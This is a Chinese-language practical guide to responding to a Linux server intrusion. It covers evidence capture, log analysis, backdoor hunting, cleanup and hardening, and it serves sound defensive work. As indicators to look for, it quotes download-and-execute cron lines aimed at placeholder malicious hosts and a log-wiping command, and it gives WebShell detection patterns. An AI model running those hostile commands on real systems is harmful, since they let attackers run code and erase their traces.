半夜两点半，手机监控告警把你从梦里拉起来，那台刚接手不到一个月的业务服务器，CPU已经跑到200%，还在持续往外发包。你打开终端连上去，看到一串陌生的进程名，那一刻的茫然和手抖，我太熟悉了——我刚转行做安全运维的第二周，就撞上了一次完整的入侵事件。

那之后我花了很多时间整理这套处置流程，踩了不少坑，也攒下很多“如果早点知道就好了”的教训。今天这篇就把服务器被入侵后的应急响应步骤完整写出来。这不是一篇讲安全理论的帖子，而是一份能直接照着操作的“应急手册”，从接到告警、确认入侵、断网止损，到排查后门、清除恢复、复盘加固，每一步都给你说清楚怎么做、为什么要这么做。它适合刚转行做安全运维的同学、被要求兼职管安全的小公司运维，以及第一次独立面对入侵事件想不丢人的你。

1. 接到告警别急着拔网线：先判断、再取证、后止损

新手最容易犯的一个错误，就是看到告警立刻把服务器关机，或者直接把网线拔了。看上去是止损了，实际上把最有价值的现场证据全给毁了。应急响应的第一步，不是动手，是搞清楚状况。

1.1 先看告警来自哪里，再决定怎么处理

不同来源的告警，可信度和包含的信息量差别很大。我自己的经验是先把告警类型分清楚：

如果告警里直接带了进程名或文件路径，比如“检测到可疑进程 /tmp/kdevtmpfsi”，那基本可以直接确认是入侵，按第2章往下走。如果只是CPU飙高，别急着扣“被入侵”的帽子，有可能是业务流量突增、定时任务跑批、内存泄漏导致频繁GC，先登录服务器看现场再说。

1.2 登录服务器后，第一时间保存这三类信息

确认服务器还能登录的前提下，我强烈建议你在任何操作之前，先把下面这些信息保存下来。因为这些数据大多保存在内存或临时状态里，一旦进程被杀、连接断开，就再也拿不到了。

bash复制# 1. 当前系统时间和运行时长
date
uptime

# 2. 网络连接情况，重点看 ESTABLISHED 和对外连接
ss -antlp > /tmp/conn_$(date +%Y%m%d%H%M%S).txt

# 3. 进程列表，按CPU和内存排序，重定向保存
ps auxf > /tmp/ps_$(date +%Y%m%d%H%M%S).txt
top -b -n 1 | head -50 >> /tmp/top_$(date +%Y%m%d%H%M%S).txt

我见过太多人上来就 ps aux | grep 恶意进程名，然后 kill -9，把进程杀了，觉得清理干净了，结果什么都没留下来。等你事后想写报告、想溯源攻击路径的时候，连那个进程的完整命令行参数都没有了。所以保存现场永远排在“处置”之前。

这三个文件保存好后，再去看当前系统里到底有什么可疑进程、连了哪些外网IP。常见的挖矿进程名就那么几个，比如 kdevtmpfsi、kinsing、xmrig，看到CPU占用百分之一两百的，十有八九就是它。

1.3 该断网的时候，用最稳的方式断

确认是入侵之后，断网止损要果断，但断网的方式有讲究。这里有个非常重要的经验：云服务器不要直接在机器上 ifdown eth0，也不要直接在系统里改防火墙规则。因为一旦规则写错或者网卡被禁用，你在外网就完全连不上这台机器了，后面的排查和恢复全部无法进行。

正确的处理顺序是：先通过云厂商的控制台，在安全组里配置“只允许你当前的办公IP访问”，或者干脆一键封禁所有入方向流量，然后通过VNC或者带外管理方式继续操作。这样既切断了攻击者的连接，又保留了你自己的管理通道。

如果这台服务器是物理机，没有带外管理卡，那就更得谨慎了。拔网线之前，先确定自己有没有其他方式能访问到这台机器，比如机房KVM、IPMI。否则一拔网线，你可能就再也进不去了。

什么情况必须立刻断网？攻击者在跑勒索加密程序，或者在持续外传数据。什么情况可以缓缓？只是挖矿、CPU飙高，攻击者一般不会主动破坏数据，可以先花10分钟保存证据，再执行断网。这个取舍，本质上是业务损失和证据完整性之间的权衡，你需要在那个当下做出判断。

2. 顺着脚印找入口：日志和命令是“取证”的两条腿

断网止损之后，真正的硬仗才开始：搞清攻击者是怎么进来的、在里面干了什么。日志是这里最重要的线索来源。很多企业服务器的日志会定期轮转或被攻击者清空，但只要有一份是完整的，就足够拼出入侵路径了。

2.1 登录痕迹：三个文件定位账号入侵

先看系统和用户登录记录，这是判断是否有人通过账号密码进来的最直接证据。核心数据在三个文件里：

bash复制# 查看所有成功登录记录（含来源IP、登录时间、登录方式）
last -a

# 查看所有失败登录记录，统计暴力破解来源
lastb -a | head -50

# 查看每个用户最后一次登录时间
lastlog

排查看什么？重点关注三个异常特征：第一，凌晨2点到5点之间有成功登录记录；第二，来源IP不是你公司出口IP或堡垒机IP；第三，登录终端类型是 :0 或者非正常的伪终端。出现任意一个，都要拉响警报。

last 和 lastb 本身读的是 /var/log/wtmp 和 /var/log/btmp 这两个二进制文件，它们有被清除的风险。攻击者常用 >/var/log/wtmp 这样的操作来清空痕迹，这时你可以看看 /var/log/journal 里有没有残留，或者直接通过 stat 查看日志文件的时间戳有没有异常跳跃——如果日志文件的修改时间正好是入侵发生的时间段，那基本可以判断被清过了。

2.2 认证日志：SSH 和 sudo 记录是突破口

比二进制登录日志更常用的，是文本格式的认证日志。CentOS/RHEL 系列在 /var/log/secure，Debian/Ubuntu 系列在 /var/log/auth.log。这里记录着每一次SSH认证、sudo提权、su切换的细节，是排查账号入侵的宝库。

bash复制# 统计爆破你服务器的IP TOP 20（CentOS路径）
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -20

# 查看成功登录事件（攻击者最终会有一条成功记录）
grep "Accepted password" /var/log/secure | tail -20

# 查看 sudo 提权命令记录
grep "sudo" /var/log/secure | tail -30
grep "COMMAND=" /var/log/secure | tail -30

这套命令组合我实战用过无数次。一次最典型的入侵路径是这样的：攻击者用爆破扫到了你的SSH弱口令，先以普通用户登录，然后通过 sudo -i 或 su - 提权到root，最后创建一个新账号作为后门。你只要把 Accepted 之后跟的 sudo 命令串起来看，整条入侵路径就非常清晰了。

2.3 业务层日志：Web 入侵要从访问日志里找线索

如果这台服务器跑着Web服务，业务日志也是不可忽视的证据。Nginx/Apache的访问日志里，藏着扫描器探测、文件上传、WebShell访问的全部记录。常见的攻击特征在日志里非常明显：

bash复制# 查看最近访问比较多的IP（可能是扫描器）
tail -100000 /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -nr | head -20

# 搜可疑的POST请求（登录、上传接口）
grep -i "POST" /var/log/nginx/access.log | tail -50

# 搜特殊后缀文件的访问（jsp/php/aspx的异常访问）
grep -E "\.(jsp|php|aspx)" /var/log/nginx/access.log | awk '{print $1, $7, $9}' | tail -50

一个很实用的小技巧：如果攻击者植入了WebShell，他一定会去访问那个文件。WebShell的访问日志通常有特征——返回200、请求路径很短、但URL参数里可能带着很长的一段加密代码，或者请求频率很低但持续有规律。找到这些记录之后，记下时间戳，再去磁盘上找对应时间点被创建的文件，通常就是WebShell本体。

2.4 历史命令和残留的Shell痕迹

最后别忘了看命令历史。虽然这是很容易被清理的痕迹，但很多攻击者水平一般，根本没想过要清。就算清了，也可能漏掉切换到另一个用户后产生的历史。

bash复制# 查看root的历史命令
history
cat /root/.bash_history | tail -100

# 检查是否有人切到别的用户执行命令
su - 某个用户名
history

在真实应急里，我通过历史命令看到过攻击者完整的操作过程：下载工具包、修改系统配置、添加计划任务、连接内网其他机器。这些信息对确定影响范围至关重要——你不仅要清理这台机器，可能还要顺着历史命令里的IP和主机名，去排查其他服务器有没有被动过。

2.5 一张日志速查表，收藏就完事了

3. 后门排查清单：账号、启动项、计划任务、WebShell 一个都别放过

找到了入口，确认了入侵，接下来要回答一个更棘手的问题：攻击者有没有留下后门？这个问题如果不查清楚，你今天清理完，明天他还能登录进来。后门排查这件事，我习惯按“账号类、SSH类、持久化类、WebShell类、内核类”五个维度过一遍，一个都不能漏。

3.1 账号后门：别让攻击者拿着钥匙进你家

最简单也最粗暴的后门，就是直接创建一个新账号。攻击者通常会创建一个UID为0的账号，这样你用 who 或 id 看的时候它显示的是root权限。查法非常简单：

bash复制# 列出所有UID为0的账号（正常情况下只有root）
awk -F: '$3==0{print $1, $3}' /etc/passwd

# 查看最近新增加的用户
awk -F: '{print $1, $3, $6, $7}' /etc/passwd | tail -20

# 查看哪些账号可以登录shell（排除nologin和false）
egrep -v "nologin|false" /etc/passwd

还有一个容易被忽略的点：/etc/shadow。如果发现某个用户密码字段是空的，或者最近修改过，也要重点排查。我自己就遇到过攻击者把 /etc/shadow 里 root 的密码哈希直接替换成自己的哈希，然后轻轻松松用 root 登录的场景。所以排查完 /etc/passwd 之后，顺手看一眼 /etc/shadow 里 VIP 用户（root、mysql、redis等）的修改时间，如果时间点正好在入侵窗口内，就非常可疑了。

3.2 SSH后门：authorized_keys 和配置项都要过一遍

SSH是服务器最常用的管理通道，也是攻击者最爱的后门安置点。最经典的SSH后门，是把攻击者的公钥写到某个用户的 authorized_keys 文件里，这样他随时可以用对应的私钥免密登录，而且不产生登录密码记录，隐蔽性极高。

bash复制# 查找所有用户的 authorized_keys 文件
find / -name authorized_keys -type f 2>/dev/null

# 检查 root 的 authorized_keys 内容，非本人添加的公钥全部删掉
cat /root/.ssh/authorized_keys

# 检查 /root/.bashrc 和 /etc/profile 等文件，看有没有被追加恶意命令
tail -20 /root/.bashrc

判断公钥是不是可疑的，有个笨但有效的方法：看你自己的公钥注释字段。你自己生成的key，注释一般是 你的邮箱 或 root@主机名；攻击者的公钥注释可能是一串乱码或者带有明显攻击工具特征的字符串。另外，如果 authorized_keys 文件的时间戳比你创建这个用户的时间晚很多，大概率被动过。

3.3 持久化后门：计划任务和开机启动项是重灾区

攻击者为了确保机器重启后后门还能运行，几乎一定会设置计划任务或开机启动项。这块的排查要细，因为藏匿点太多了。

bash复制# 查看当前所有用户的计划任务
crontab -l
cat /var/spool/cron/root

# 查看系统级计划任务
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/

# 查看开机自启服务
systemctl list-unit-files --type=service | grep enabled

# 查看 rc.local 是否有异常内容
cat /etc/rc.local

排查计划任务时，重点关注两类内容：一类是执行外部下载命令的，比如 curl http://恶意IP/x.sh | bash、wget -q -O- 恶意地址 | sh；另一类是执行 /tmp 或 /dev/shm 目录下脚本的，因为这两个目录是Linux下常见的临时文件目录，攻击者特别喜欢把恶意脚本放在这里。看到这类任务，直接把对应文件拉出来看内容，基本就能锤死是后门。

3.4 WebShell排查：按时间和内容双维度扫描

如果这台服务器是Web服务器，还要检查有没有被上传WebShell。WebShell排查的常规思路分两步：第一步按时间找新文件，第二步按内容找敏感函数。

先按时间排查：

bash复制# 查找最近7天内被修改的脚本文件（排除系统目录）
find /www /var/www /data -type f \( -name "*.php" -o -name "*.jsp" -o -name "*.aspx" \) -mtime -7 2>/dev/null

再按敏感内容排查：

bash复制# 在站点目录下搜索常见的WebShell特征函数
grep -rl "eval(\|assert(\|system(\|shell_exec(\|passthru(\|base64_decode(" /www 2>/dev/null

注意，上面的 grep 结果里会有很多正常文件，因为很多PHP框架本身就用了这些函数。真正的WebShell通常同时具备多个特征：文件时间异常、文件名无意义或带随机字符、内容里有加密字符串和绕过函数。你不必逐个人工判断，可以先看文件时间，再看文件大小，最后打开文件确认。正常业务文件一般不会没有文件名语义地出现在上传目录里。

如果线上环境允许，也可以用CloudWalker、河马WebShell查杀这类现成工具跑一遍，比自己手动 grep 全面很多。但在工具跑完之后，还是建议人工抽查确认，工具也会有漏报和误报。

3.5 Rootkit与内核层面：看到这些就直接考虑重装吧

如果攻击者是个老手，他可能不会用普通的计划任务和WebShell，而是直接植入Rootkit，也就是内核级后门。这种后门可以隐藏自己的进程、文件、网络连接，你前面所有的排查命令都可能看不到异常。

一般如果发现有如下情况，比如 /proc 目录下存在异常隐藏模块、lsmod 输出和系统实际加载不一致、ps/top 显示不出来攻击者进程但系统CPU持续飙升、/dev 下出现异常设备文件，我的建议是：不要继续浪费时间深挖了，立刻准备数据备份和重装系统。内核级后门的清理难度极高，即使你在网上找到“清理教程”，也不一定能清干净，更不敢保证没有残留。与其赌一把，不如直接重装。

3.6 排查完之后发现“太脏了”怎么办

有一种情况很让人崩溃：越查发现后门越多，SSH有密钥后门、计划任务有定时拉马脚本、/tmp下还有一堆恶意工具，处处都是坑。遇到这种情况，我强烈建议不要继续尝试逐一手工清除，而是直接重装系统。这不是认怂，而是最稳妥、最经济的处置方式。

手工清除适合那种“只被种了一个挖矿脚本、还没来得及留后门”的早期入侵。但只要发现两个以上不同类型的后门，或者攻击者已经提权到root超过一天，那你很难保证没有漏网之鱼。时间线上出现过/etc/ld.so.preload这类动态链接库劫持的，也直接重装。一台被彻底攻陷的服务器，重装系统的成本，远低于未来公司数据泄露的代价。

4. 清除、恢复、验证：把服务器洗干净再上业务

排查清楚了，清除就是水到渠成的事。但清除有顺序、有禁忌，搞反了很容易前功尽弃。很多人上来就把进程杀了、把文件删了，等发现忽略了某个后门，攻击者又回来了，一切都白干。

4.1 动手清理前的一条铁律：先备份证据

无论你打算清除什么，动手之前先把所有关键证据复制到离线位置。前面第1章保存的进程、连接、日志信息，现在可以连同恶意文件本体一起打包，拷贝到一台干净的服务器或移动硬盘上。不要只留一份，最好同时在对象存储里放一份。

备份完成后，给当前机器的所有关键文件做个快照。云服务器可以直接打快照，物理机可以考虑按数据盘镜像备份。这样做的好处是，万一清理过程中不小心误删了业务文件，还能回滚恢复。应急响应的原则之一是业务影响最小化，数据安全永远要放在第一位。

4.2 清理动作清单：按部就班执行

遵循“先断入口、再清驻留、最后改口令”的顺序。直接给一份可以照着执行的清单：

1. 锁定/删除异常账号：usermod -L 异常用户名 锁定，核实确认后 userdel -r 异常用户名 删除。
2. 删除SSH后门公钥：编辑 /root/.ssh/authorized_keys，删除所有非本人添加的公钥行。
3. 清空可疑计划任务：注释或删除所有从外部下载并执行脚本的crontab条目。
4. 清理开机启动项：删除或禁用加载恶意脚本的systemd服务和rc.local条目。
5. 结束恶意进程并删除对应文件：kill -9 进程ID，然后删除进程对应的全部文件。
6. 更新所有密码：root、业务账号、数据库账号的密码全部换成随机强密码。
7. 修改SSH密钥：重新生成新的SSH密钥对，替换所有被污染的authorized_keys。

执行到“结束恶意进程”这一步时，如果发现进程杀完又自动重启了，说明它存在守护机制，可能是双进程互相拉起，也可能有计划任务在持续拉起。这时不要硬碰，先查父进程、查守护任务，把所有关联点清理干净再杀进程，否则杀多少次都白搭。

4.3 修复入口：找到漏洞才能止住血

清除后门只是治标，修复入口才是治本。如果攻击者是通过SSH弱口令进来的，你清完账号却不改密码，他还能继续爆破；如果是Redis未授权访问进来的，你不对Redis做访问控制，早晚还会有人进来。

这一步骤需要回到第2章排查到的入侵路径上去。给你一个对照思路：

• 通过SSH爆破进来的：立即启用密钥登录、禁用root直接登录、安装Fail2Ban做IP封禁。
• 通过Redis未授权访问进来的：给Redis设置强密码、绑定内网IP、禁止公网直接访问。
• 通过Web漏洞上传WebShell的：修复上传接口的校验逻辑、删除已识别的恶意文件、升级中间件版本。
• 通过未修补的系统漏洞进来的：确认漏洞后第一时间打补丁，升级内核到安全版本。

修完入口，再回头看一下服务器上开放了哪些对外端口。用 ss -tnlp 看一眼监听端口，凡是业务不需要的端口，比如不必要的数据库端口、消息队列端口，一律关闭或者做来源IP白名单限制。这一步是减少暴露面，能让后续被攻击的概率大幅下降。

4.4 恢复业务与验证：重上线的第一晚别睡死

确认清除干净、漏洞修复完成后，就可以恢复业务了。恢复的过程也有顺序：先恢复非核心服务，观察一段时间没有异常，再逐个放开核心服务。不要一上来就一股脑把所有业务全部重启，一旦有问题，影响面会很广。

恢复业务后的24到48小时是关键观察窗口。这段时间至少要看这几样东西：

• 系统登录日志里，有没有再次出现陌生IP的连接请求。
• 计划任务有没有新增可疑条目。
• CPU和带宽是否恢复正常，是否还有恶意进程出现。
• 防火墙或安全组日志里，是否还有指向恶意IP的访问。

我自己处理过一次比较顽固的挖矿病毒，清理完、恢复业务后的第二天凌晨，告警又响了。原因是攻击者在Web目录下还藏了一个图片马，当时清理时没扫出来。所以恢复业务后一定不能放松，尤其是日志和文件完整性监控，至少要盯两周。

4.5 什么情况下建议直接重装

说实话，我在处理过的应急事件里，大概有两成最后都建议客户直接重装系统。重装系统不是丢人的事，相反，这是对自己和后端环境负责的处置方式。遇到这几种情况，别犹豫，直接重装：

• 内核被植入Rootkit或者引导区被修改。
• 无法确认攻击者做了哪些操作，且手动排查发现超过3种不同类型的后门。
• 服务器上存在高度敏感的数据库或代码，无法接受任何留存风险。
• 系统重要二进制文件（ls、ps、ss等）被替换，因为你需要担心的不只是“恶意文件”，而是整个系统的用户态都已经不可信。

重装系统之前，把业务数据彻底迁移出来，重装完成后再做全面的基线加固，否则你只是从“被攻陷的系统”切换到“没打补丁的新系统”，等于白干。

5. 复盘与加固：从“会处置”进阶到“难入侵”

应急响应的最后一环，不是关掉终端去睡觉，而是写报告、做加固。很多转行做安全运维的同学，觉得“问题解决了就行”，但实际上，后面的复盘和加固才是拉高你安全水平的关键。

5.1 应急响应报告别写成流水账

报告不用多华丽，但它要能回答三个问题：发生了什么？影响是什么？后续怎么避免？我习惯用时间线的形式来组织，把每个关键时间节点发生了什么事件、做了什么操作、结果怎么样写清楚。

一份能拿得出手的报告，至少包含这些内容：

写报告的目的有三个：一是强迫自己把所有操作复盘一遍，说不定能发现当时遗漏的点；二是给领导一个交代，说明这件事为什么发生、影响多大；三是作为自己的案例库，下次遇到类似事件，可以快速调出处理方案。

5.2 最小化加固清单：照着做就行

复盘之后，紧接着就是加固。一台服务器被入侵，往往不是某一个漏洞造成的，而是多个安全配置问题叠加的结果。这里整理一份我自己每次都会执行的加固清单，你可以照着操作：

不要试图一次全部做完，分批执行也可以接受。比如“SSH禁root”和“改密钥登录”这两项，如果担心改SSH端口影响连接，可以先只开放给内网IP，确认没问题再逐步收紧。

5.3 日志集中管理和告警：让下次入侵早发现

一台服务器的日志分散在各个文件里，等系统被入侵后再逐个去翻，效率太低了。理想的做法是提前把日志集中收集起来，并设置基础告警。

如果你是小公司、没有安全团队，最简单可行的方案是：用rsyslog把每台服务器的认证日志、cron日志、syslog转发到一台独立的日志服务器上，再配合一个简单的定时脚本对关键日志做匹配检测，发现异常就推送告警到企业微信或钉钉群。关键告警规则也很简单：

• 同一IP在一分钟内登录失败超过5次，告警。
• 非工作时间（比如凌晨）出现SSH登录成功，告警。
• 某个进程CPU长时间超过100%，告警。
• 计划任务出现 curl、wget 这类下载执行命令，告警。

不需要上多么复杂的SIEM。对于转行安全运维的同学来说，先把基础告警做出来，用起来，比搭一个高大上的平台但没人看要强一百倍。告警，只有被及时看到，才有意义。

5.4 写在最后：转行安全运维，你要有的三个心态

处置了这次入侵，你的角色其实已经从“被动救火”往“主动防御”迈了一步。我自己的体会是，转行做安全运维，最重要的不是先学会多少高深的攻击手法，而是做好这三件事：第一，把基本功打牢，Linux命令、日志分析、网络排错这些，遇到真实事件时就是你唯一的底牌；第二，把流程长在肌肉里，从接到告警到最终复盘，每一步都要有清晰的思路，不能乱了阵脚；第三，把每一次应急都当成一次学习机会，写报告、补漏洞、优化告警，你会发现自己的成长速度比想象中快得多。

最后分享一个自己踩过坑之后的习惯：每次处理完应急响应，我都会给自己加一条规则——比如“以后所有服务器禁止直接用root登录”“每周检查一次全局计划任务”。这些规则可能看起来很笨，但长期坚持下来，我手里几百台服务器的安全性，比很多号称上了安全产品的公司还要稳。安全运维这个岗位，比的不是谁发现攻击的速度快，而是谁能在攻击发生后的黄金一小时里，做出最冷静、最正确的决策。